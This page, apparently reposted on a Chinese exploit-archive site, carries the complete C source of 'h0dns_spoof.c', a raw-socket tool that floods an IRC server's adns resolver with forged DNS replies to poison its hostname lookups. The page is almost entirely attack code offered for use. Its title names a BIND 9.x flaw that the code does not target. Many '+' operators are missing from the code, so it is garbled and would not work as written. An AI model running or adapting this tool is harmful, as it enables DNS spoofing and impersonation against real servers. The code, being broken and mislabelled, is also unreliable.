BIND 9.x Remote DNS Cache Poisoning Flaw Exploit (spoof on ircd)
BIND 9.x Remote DNS Cache Poisoning Flaw Exploit (spoof on ircd)
发布时间:2016-12-21 来源:查字典编辑
摘要:/*h0dns_spoof.c-zmda-saik0pod@yahoo.com*-spoofdnsonircd'susingtheh0dns...

/* h0dns_spoof.c - zmda - saik0pod@yahoo.com

* - spoof dns on ircd's using the h0dns code

*

* - spoof dns on anything using the adns (asynchronous dns resolver) code

*

* - The bug:

* - Static source port used by the adns code

* - Sequential DNS ids in request packets

*

* - Initiate sequence to trigger a dns lookup by the adns resolver. Send

* the same range of spoofed DNS ids in a constant flood spoofed as the

* primary DNS server for the host. Even a local DNS request will take

* long enough to allow some amount of the spoofed DNS responses through

* before the primary DNS responds. Since the resolver does not cache

* results, the dns lookups can be triggered until the DNS id is

* incremented within the DNS id range being spoofed.

*

*/ #include <stdio.h>

#include <unistd.h>

#include <stdarg.h>

#include <stdlib.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netdb.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <string.h>

#include <errno.h>

#include <time.h> #ifndef u8

#define u8 unsigned char

#endif #ifndef u16

#define u16 unsigned short

#endif #ifndef u32

#define u32 unsigned long

#endif

struct dns_header {

u16 id;

u16 flags;

u16 questions;

u16 answer_rr;

u16 auth_rr;

u16 extra_rr;

} __attribute__((packed)); struct dns_data {

u16 name;

u16 type;

u16 class;

u16 ttlh;

u16 ttl;

u16 data_len; /* data len - sizeof(char *) */

char *data;

/* data */

} __attribute__((packed)); struct dns_packet {

size_t len;

u8 type;

char *data;

/* packet data */

}; struct dns_query {

size_t len;

char *data;

}; struct ip_header {

u8 ihl:4,

version:4;

u8 tos;

u16 tot_len;

u16 id;

u16 frag_off;

u8 ttl;

u8 protocol;

u16 check;

u32 saddr;

u32 daddr;

}; struct udp_header {

u16 source;

u16 dest;

u16 len;

u16 check;

}; #define DNS_A 0x0001

#define DNS_PTR 0x000c struct udp_packet {

struct ip_header iph;

struct udp_header udph;

}; void usage() {

fprintf(stderr, "usage: ./h0dns_spoof <ircd ip> <ircd dns port> <ircd dns ip> "

"<your ip> <spoof host> <dns id>n");

exit(-1);

} void fatal(char *reason) {

fprintf(stderr, "fatal: %sn", reason);

exit(-1);

} unsigned short csum(unsigned short *addr, int len) {

register int sum = 0;

u_short answer = 0;

register u_short *w = addr;

register int nleft = len; while (nleft > 1) {

sum = *w ;

nleft -= 2;

} if (nleft == 1) {

*(u_char *)(&answer) = *(u_char *)w ;

sum = answer;

} sum = (sum >> 16) (sum & 0xffff);

sum = (sum >> 16);

answer = ~sum;

return(answer); /* return the checksum value. */

} struct udp_packet *alloc_packet(size_t datalen) {

struct udp_packet *packet;

struct ip_header *iph;

struct udp_header *udph; if(!(packet = calloc(1, sizeof(struct udp_packet) datalen)))

fatal("error: allocating udp packet"); iph = &packet->iph;

udph = &packet->udph; iph->ihl = 5;

iph->version = 4;

iph->tos = 0;

iph->tot_len = sizeof(struct udp_packet) datalen;

iph->id = htonl(0xbeef);

iph->frag_off = 0;

iph->ttl = 255; iph->protocol = 17; udph->len = htons(sizeof(struct udp_header) datalen); return(packet);

} void init_packet(long source, int sport, long dest, int port,

struct udp_packet *udp_packet,

struct dns_packet *dns_packet) {

struct ip_header *iph;

struct udp_header *udph;

char *data; iph = &udp_packet->iph;

udph = &udp_packet->udph; iph->saddr = source;

iph->daddr = dest;

iph->check = csum((unsigned short *)iph, sizeof(struct ip_header)); udph->check = 0;

udph->source = htons(sport);

udph->dest = htons(port); data = (char *)udp_packet sizeof(struct udp_packet);

memcpy(data, &dns_packet->data, dns_packet->len);

} char *dns_string_format(char *out, char *in) {

int i, x; for(i = strlen(in) - 1, x = 0; i > -1; i--, x ) {

if(in[i] == '.') {

out[i] = x;

x = -1;

} else

out[i] = in[i];

} out[i] = x; return(out);

} struct dns_packet *alloc_dns_packet(char *query_data, size_t qlen,

char *answer_data, int type) {

struct dns_packet *dns_packet;

struct dns_header *dns_header;

struct dns_data *dns_data;

char *query,

*answer;

size_t totlen,

alen; if(type == DNS_A)

alen = 4;

else

alen = strlen(answer_data); totlen = sizeof(struct dns_header)

qlen

sizeof(struct dns_data) - sizeof(char *) alen

((type == DNS_A) ? 0 : 2); if((dns_packet = calloc(1, totlen sizeof(size_t) 1

sizeof(char *))) == NULL)

fatal("failed alloc"); dns_packet->len = totlen; dns_header = (struct dns_header *) &dns_packet->data;

query = (char *) &dns_packet->data

sizeof(struct dns_header);

dns_data = (struct dns_data *) (query qlen);

answer = (char *) &dns_data->data

((type == DNS_A) ? 0 : 1);

dns_header->flags = htons(0x8180);

dns_header->questions = htons(1);

dns_header->answer_rr = htons(1);

dns_header->auth_rr = htons(0);

dns_header->extra_rr = htons(0);

memcpy(query, query_data, qlen); dns_data->name = htons(0xc00c);

dns_data->type = htons(type);

dns_data->class = htons(1);

dns_data->ttl = htons(300); dns_data->data_len = htons(alen ((type == DNS_A) ? 0 : 1)); if(type == DNS_A)

memcpy(answer, &answer_data, 4);

else

dns_string_format(answer, answer_data); return(dns_packet);

} struct dns_query *alloc_dns_query(char *query, int qtype) {

struct dns_query *dns_query;

size_t qlen;

int i, x = 0;

char *p;

char *data;

u16 *type,

*class; qlen = 1 strlen(query) 1 2 2; if((dns_query = (struct dns_query *)calloc(1, sizeof(size_t) qlen)) == NULL)

fatal("fatal allocn"); dns_query->len = qlen; data = (char *) &dns_query->data 1;

type = (u16 *) (data strlen(query) 1);

class = (u16 *) type 1; dns_string_format(data, query); *type = htons(qtype);

*class = htons(1); return(dns_query);

}; int send_packet(struct in_addr src, u16 sport,

struct in_addr dst, u16 dport,

struct udp_packet *udp_packet,

struct dns_packet *dns_packet, u32 dns_id) {

struct sockaddr_in sin;

struct dns_header *dns_header;

int s, olen;

unsigned char *p;

int i; dns_header = (struct dns_header *) &dns_packet->data;

dns_header->id = htons(dns_id); init_packet(src.s_addr, sport, dst.s_addr, dport, udp_packet, dns_packet); sin.sin_family = AF_INET;

sin.sin_addr = dst;

sin.sin_port = htons(sport); if((s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) < 0) {

fprintf(stderr, "%s: ERROR send_packet() -> socket()n", inet_ntoa(dst));

return(s);

} if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &olen, sizeof(olen)) < 0)

fprintf(stderr, "ERROR: could not set socket option IP_HDRINCL.n"); while(sendto(s, udp_packet, sizeof(struct udp_packet) dns_packet->len, 0,

(struct sockaddr *)&sin, sizeof(sin)) < 0) { if(errno == ENOBUFS)

usleep(50);

else {

fprintf(stderr, "%s: send_packet() -> sendto() [%d]n", inet_ntoa(dst), errno);

close(s);

return(-1);

} } close(s); } void do_spoof(struct in_addr src, u16 sport,

struct in_addr dst, u16 dport,

struct in_addr me, char *answer, u16 dns_id) {

struct udp_packet *udp_packet_A,

*udp_packet_PTR;

struct dns_packet *dns_packet_A,

*dns_packet_PTR;

struct dns_query *dns_query_A,

*dns_query_PTR;

char query[255];

int i; printf("dns_id = %dn", dns_id); snprintf(query, sizeof(query) - 1,

"%d.%d.%d.%d.in-addr.arpa",

(me.s_addr >> 24),

(me.s_addr >> 16) & 0xff,

(me.s_addr >> 8) & 0xff,

(me.s_addr ) & 0xff); dns_query_A = alloc_dns_query(answer, DNS_A);

dns_packet_A = alloc_dns_packet((char *)&dns_query_A->data,

dns_query_A->len,

(char *)me.s_addr, DNS_A);

udp_packet_A = alloc_packet(dns_packet_A->len);

dns_query_PTR = alloc_dns_query(query, DNS_PTR);

dns_packet_PTR = alloc_dns_packet((char *)&dns_query_PTR->data,

dns_query_PTR->len, answer, DNS_PTR);

udp_packet_PTR = alloc_packet(dns_packet_PTR->len); /* weee flood time */

for(i = 0; ; i ) {

send_packet(src, sport, dst, dport, udp_packet_A, dns_packet_A, dns_id i);

send_packet(src, sport, dst, dport, udp_packet_PTR, dns_packet_PTR, dns_id i);

usleep(50); if(i > 3)

i = 0;

}

} long resolve(char *host) {

struct in_addr ip;

struct hostent *he; if((ip.s_addr = inet_addr(host)) == -1) {

if(!(he = gethostbyname(host)))

return(-1);

else

memcpy(&ip.s_addr, he->h_addr, 4);

}

return(ip.s_addr);

} int main(int argc, char *argv[]) {

int i, dns_port, dns_id;

struct in_addr ircd,

ircd_ns,

me;

char *spoof_host; printf("###### h0dns_spoof1.c - zmda - saik0pod@yahoo.com ######n"); if(argc < 6)

usage(); if((ircd.s_addr = resolve(argv[1])) == -1)

fatal("ircd host invalid"); dns_port = atoi(argv[2]); if((ircd_ns.s_addr = resolve(argv[3])) == -1)

fatal("ircd dns host invalid"); if((me.s_addr = resolve(argv[4])) == -1)

fatal("my host invalid"); spoof_host = argv[5];

dns_id = atoi(argv[6]); do_spoof(ircd_ns, 53, ircd, dns_port, me, spoof_host, dns_id); }

推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
相关阅读
网友关注
最新Exploit学习
热门Exploit学习
网络安全子分类